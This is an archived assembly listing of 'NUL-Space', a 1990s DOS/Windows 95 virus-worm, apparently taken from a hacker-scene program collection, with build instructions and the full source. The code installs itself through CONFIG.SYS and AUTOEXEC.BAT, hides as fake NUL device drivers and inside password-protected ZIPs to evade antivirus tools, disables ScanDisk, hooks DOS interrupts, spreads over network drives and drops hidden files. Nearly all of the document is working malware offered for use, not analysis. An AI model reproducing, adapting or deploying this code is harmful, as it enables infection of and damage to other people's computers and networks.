home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / CCTX0198.ZIP / QMUPDAT7.ZIP / NULSPACE.ZIP / NULSPACE.ASM next >
Assembly Source File  |  1997-07-08  |  13KB  |  289 lines

  1. comment *
  2.  
  3. This virii/worm hides is NUL-Space and Cypher Text (See my "Playing Hide and
  4. Seek article)  Once active this virus can not be detected by normal means.
  5. It hides in a file that has the same name as a NUL device driver.  It also
  6. hides in a ZIP file that is password protected so AV programs won't detect it.
  7. It has an unusual payload: it creates those stupid EICAR test files all over
  8. the PC.  It is network aware and only spreads by network drives.  It works
  9. with Windows 95.
  10.  
  11. tasm nulspace /m2
  12. tlink nulspace /t
  13. copy nulspace.com c:\winstart.bat
  14.  
  15. *
  16.  
  17. .286
  18.  
  19.  
  20. qseg            segment byte public 'CODE'
  21.                 assume  cs:qseg,es:qseg,ss:nothing,ds:qseg
  22.                 org     00feh
  23. counter         label   word
  24.                 org     0100h
  25.  
  26. start:
  27.  
  28. com_install     proc    near                    ;batch file starting
  29.                 db      "::"                    ;as a com file it jumps past
  30.                 js      jmp_next_part           ;the batch code
  31.                 jns     jmp_next_part
  32.                 db      0dh,0ah
  33.                 db      "@CTTY NUL",0dh,0ah     ;output off and change config
  34.                 db      "ECHO INSTALLHIGH=C:\WINSTART.BAT>>C:\CONFIG.SYS",0dh,0ah
  35.                 db      "IF %Q%==Q GOTO "       ;used for reinfection
  36.                 js      $(go_mem_res-jmp_next_part3)
  37.                 jns     $(go_mem_res-jmp_next_part3-02h)
  38.                 db      0dh,0ah
  39.                 db      ":"
  40. jmp_next_part:  jo      jmp_next_part1          ;more stupid jumps
  41.                 jno     jmp_next_part1
  42.                 db      0dh,0ah
  43.                 db      "PKZIP -3 -- -+ -~ -S"  ;compress ourselves 
  44. password1       db      "XXX C:\"               ;use password
  45. random_file1    db      "QUE."                  ;random file name
  46. random_ext1     db      "CAB C:\WINSTART.BAT",0dh,0ah
  47.                 db      "ECHO @ECHO OFF>>C:\AUTOEXEC.BAT",0dh,0ah
  48.                 db      ":"                     ;prepare autoexec for reinfect
  49. jmp_next_part1: ja      jmp_next_part2          ;more jumps
  50.                 jb      jmp_next_part2
  51.                 db      0dh,0ah
  52.                 db      "ECHO CTTY NUL>>C:\AUTOEXEC.BAT",0dh,0ah
  53.                 db      "ECHO PKUNZIP -) -3 -O -S"
  54. password2       db      "XXX C:\"               ;reinfect again
  55. random_file2    db      "QUE."
  56. random_ext2     db      "CAB>>C:\AUTOEXEC.BAT",0dh,0ah
  57.                 db      ":"
  58. jmp_next_part2: jpe     jmp_next_part3          ;more jumps
  59.                 jpo     jmp_next_part3
  60.                 db      0dh,0ah                 ;set q=q for jmp in winstart
  61.                 db      "ECHO SET Q=Q>>C:\AUTOEXEC.BAT",0dh,0ah
  62.                 db      "ECHO CTTY CON>>C:\AUTOEXEC.BAT",0dh,0ah
  63.                 db      ":"
  64. jmp_next_part3: js      go_mem_res              ;more jumps
  65.                 jns     go_mem_res
  66.                 db      0dh,0ah                 ;spread it around
  67.                 db      "FOR %%Q IN (%PATH% C:\) DO %COMSPEC% /F/CCOPY/B %0+%0.BAT %%Q",0dh,0ah
  68.                 db      "CTTY CON"              ;output on
  69.                 db      1ah                     ;ctrl-z
  70. com_install     endp
  71.  
  72. go_mem_res      proc    near                    ;clear environment space
  73.                 mov     es,word ptr ds:[2ch]
  74.                 mov     ah,49h
  75.                 int     21h                     ;create NUL-Space devices
  76.                 mov     di,offset scandisk_device
  77.                 mov     cx,0003h                ;3 of them, first is scandskw
  78. next_device:    mov     ah,52h                  ;get list of lists
  79.                 int     21h
  80.                 cld
  81.                 lds     si,dword ptr es:[bx+22h];get NUL device chain
  82.                 push    cs
  83.                 pop     es
  84.                 mov     ax,di                   ;point to new device to add
  85.                 movsw                           ;put it in chain
  86.                 movsw                           ;far pointer
  87.                 mov     word ptr ds:[si-02h],cs ;point to new device
  88.                 mov     word ptr ds:[si-04h],ax
  89.                 add     di,offset eicar_device-scandisk_device-04h
  90.                 loop    next_device             ;do eicar and winstart device
  91.                 push    cs                      ;hook interrupt 21
  92.                 pop     ds
  93.                 mov     ax,3521h
  94.         int     21h
  95.                 mov     word ptr ds:[previous_hook],bx
  96.                 mov     word ptr ds:[previous_hook+02h],es
  97.                 mov     ax,2518h                ;save old interrupt 21 as 18
  98.                 mov     dx,bx
  99.                 push    es
  100.                 pop     ds
  101.                 int     21h
  102.                 push    cs
  103.                 pop     ds
  104.                 mov     dx,offset resident_isr21
  105.                 mov     al,21h
  106.                 int     21h
  107.                 mov     ah,31h                  ;go memory resident
  108.                 mov     dx,((tail-com_install+0110h) SHR 4)
  109.                 int     21h
  110. go_mem_res      endp
  111.  
  112. interrupt_24    proc    near
  113.                 mov     al,03h                  ;fiddly little critical error
  114.                 iret                            ;handler
  115. return_far:     retf                            ;retf for NUL device routines
  116. interrupt_24    endp
  117.  
  118. vname           db      " NUL-Space "
  119. scandisk_device dd      -1                      ;our 3 new NUL-Space devices
  120.                 dw      8004h                   ;nul character attributes
  121.                 dw      return_far              ;do nothing routines
  122.                 dw      return_far
  123.                 db      "SCANDSKW"              ;stop scandskw in windows 95
  124. eicar_device    dd      -1
  125.                 dw      8004h
  126.                 dw      return_far
  127.                 dw      return_far
  128. eicar_dev_name  db      "EICAR   "              ;protect those stupid eicar
  129. winstart_device dd      -1                      ;files while we infect
  130.                 dw      8004h
  131.                 dw      return_far
  132.                 dw      return_far
  133. win_dev_name    db      "WINSTART"              ;finally protect ourselves
  134. winstart_file   db      "C:\WINSTART.BAT",00h   ;file name to replicate
  135. eicar_drive     db      "C:"                    
  136. eicar_file      db      "EICAR."                
  137. eicar_ext       db      "QUE",00h
  138. drive_number    dw      27
  139.  
  140. eicar           proc    near                    ;stupid EICAR file
  141.         pop    ax
  142.                 xor     ax,214Fh
  143.         push    ax
  144.                 and     ax,4140h
  145.         push    ax
  146.         pop    bx
  147.                 xor     al,5Ch
  148.         push    ax
  149.         pop    dx
  150.         pop    ax
  151.                 xor     ax,2834h
  152.         push    ax
  153.         pop    si
  154.                 sub     [bx],si
  155.         inc    bx
  156.         inc    bx
  157.                 sub     [bx],si
  158.                 jge     terminate
  159. eicar_text      db      'EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$'
  160. terminate:      dec     ax
  161.                 sub     cx,[bx+si+2Ah]
  162.                 db      0dh,0ah
  163. eicar_length    label   byte
  164. eicar           endp
  165.  
  166. create_random3  proc    near
  167.                 mov     cx,0003h                ;3 byte random file
  168. setname:        xor     ax,ax                   ;random name at ds:si & ds:di
  169.         out     43h,al
  170.         push    cx
  171.         in      al,40h
  172.         mov     cx,ax
  173. around:         loop    around                  ;psuedo random delay
  174.         pop     cx
  175.         and     al,1fh                  ;32 letters possible
  176.         add     al,'A'
  177.         cmp     al,'Z'
  178.         jbe     nameit
  179.         sub     al,42                   ;if above Z then make it 1-6
  180. nameit:         stosb                           ;save random name
  181.                 mov     byte ptr es:[si],al
  182.                 inc     si
  183. incloop:        in      al,40h                  ;get the high byte
  184.         loop    setname
  185.                 retn
  186. create_random3  endp
  187.  
  188. resident_isr21  proc    near
  189.                 pusha
  190.                 push    ds
  191.                 push    es
  192.                 pushf
  193.                 push    cs
  194.                 pop     ds
  195.                 cld
  196.                 inc     word ptr ds:[counter]   ;only infect every 65536 times
  197.                 jz      infect_now              ;into interrupt 21h
  198.                 jmp     not_infect_now
  199. infect_now:     mov     ax,3524h                ;set critical error handler
  200.                 int     18h
  201.                 push    es
  202.                 pusha
  203.                 mov     dx,offset interrupt_24  ;our handler
  204.                 mov     ah,25h
  205.                 int     18h
  206.                 push    cs
  207.                 pop     es                      ;get drive to infect
  208. next_drive:     mov     bx,word ptr ds:[drive_number]
  209.                 cmp     bx,27                   ;is it past drive Z: ?
  210.                 jb      save_letter
  211.                 mov     bl,02h
  212. save_letter:    inc     bx                      ;inc and save for next time
  213.                 mov     word ptr ds:[drive_number],bx
  214. check_next:     mov     ax,4409h                ;see if network or local drive
  215.                 int     18h
  216.                 jc      next_drive              ;if neither get next drive
  217.                 xchg    ax,bx
  218.                 add     al,"@"                  ;save drive letter
  219.                 mov     byte ptr ds:winstart_file,al
  220.                 mov     byte ptr ds:eicar_drive,al
  221.                 test    dh,10h                  ;test for network
  222.                 jz      eicar_dropper           ;if local then drop EICARs
  223.                 mov     di,offset password1     ;create new cypher text file
  224.                 mov     si,offset password2     ;to be made from winstart
  225.                 call    create_random3
  226.                 mov     di,offset random_file1  ;random file name
  227.                 mov     si,offset random_file2
  228.                 call    create_random3
  229.                 cmpsb
  230.                 call    create_random3          ;and random extension
  231.                 mov     di,offset eicar_file    ;random file name
  232.                 mov     si,offset eicar_dev_name
  233.                 pusha
  234.                 call    create_random3
  235.                 popa
  236.                 cmpsw
  237.                 call    create_random3          ;and more random name
  238.                 mov     dx,offset winstart_file ;create worm
  239.                 mov     di,offset win_dev_name  ;disable nul-space driver
  240.                 mov     ah,5bh                  ;create new file
  241.                 xor     byte ptr ds:[di],ah
  242.                 xor     cx,cx                   ;normal attributes
  243.                 int     18h
  244.                 mov     byte ptr ds:[di],"W"    ;set nul-space driver back
  245.                 jc      unable_infect
  246.                 mov     dx,0100h                ;point to start of winstart
  247.                 mov     cx,offset previous_hook-start
  248.                 jmp     short write_file        ;create file
  249. eicar_dropper:  mov     di,offset eicar_ext     ;create EICAR file
  250.                 mov     si,di                   ;random extension
  251.                 call    create_random3
  252.                 mov     di,offset eicar_dev_name
  253.                 mov     ah,5bh                  ;create new file
  254.                 xor     byte ptr ds:[di],ah     ;disable nul-space driver
  255.                 mov     dx,offset eicar_drive   ;point to file
  256.                 mov     cl,07h                  ;readonly, hidden and system
  257.                 int     18h
  258.                 mov     byte ptr ds:[di],"E"    ;enable nul-space again
  259.                 mov     dl,low(offset eicar)    ;point to EICAR file
  260.                 mov     cl,low(offset eicar_length-eicar)
  261. write_file:     mov     bh,40h                  ;write EICAR or winstart file 
  262.                 xchg    ax,bx
  263.                 int     18h
  264.                 mov     ax,5701h                ;set date
  265.                 mov     dx,229fh
  266.                 int     18h
  267.                 mov     ah,3eh                  ;close it
  268.                 int     18h
  269. unable_infect:  popa                            ;done
  270.                 pop     es
  271.                 mov     dx,bx                   ;set critical error back
  272.                 int     18h
  273. not_infect_now: popf
  274. pop_it:         pop     es
  275. pop_ds_and_all: pop     ds
  276.         popa    
  277. resident_isr21  endp
  278.  
  279. far_jmp         proc    near
  280.         db      0eah
  281. previous_hook:  label   double                  ;previous interrupt 21
  282. far_jmp         endp
  283.  
  284.                 org     $+04h
  285. tail            label   byte
  286. qseg            ends
  287.                 end     start
  288.  
  289.